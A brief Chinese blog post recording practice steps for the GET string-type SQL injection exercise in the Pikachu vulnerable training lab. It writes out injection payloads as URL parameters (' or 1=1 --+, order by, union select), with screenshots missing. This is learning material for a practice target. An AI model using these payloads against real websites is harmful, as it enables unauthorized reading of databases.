phpstudy-pikachu-字符型注入（get）

截图.png

在查询栏输入1，点击查询获得查询格式

?name=1'&submit=查询

截图.png

*捷径 ' or 1=1 --+

截图.png

*非捷径

?name=1' and 1=2 --+ 2--+&submit=查询

用不了，直接查

?name=1' order by 2--+&submit=查询

?name=1' union select 1,2 --+&submit=查询

posted @   我用歌声寻觅你  阅读(27)  评论(0)  编辑  收藏  举报
相关博文：
·  phpstudy-sqlilabs-less-13
·  phpstudy-sqlilabs-less-1
·  基于错误的GET单引号变形字符型注入
·  sqli-labs第一关单引号字符型注入练习
·  Pikachu-SQL-Inject
阅读排行：
· TypeScript + Deepseek 打造卜卦网站：技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配，妙~啊~
· .NET Core 中如何实现缓存的预热？
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗？
点击右上角即可分享
微信分享提示
SQL AI 助手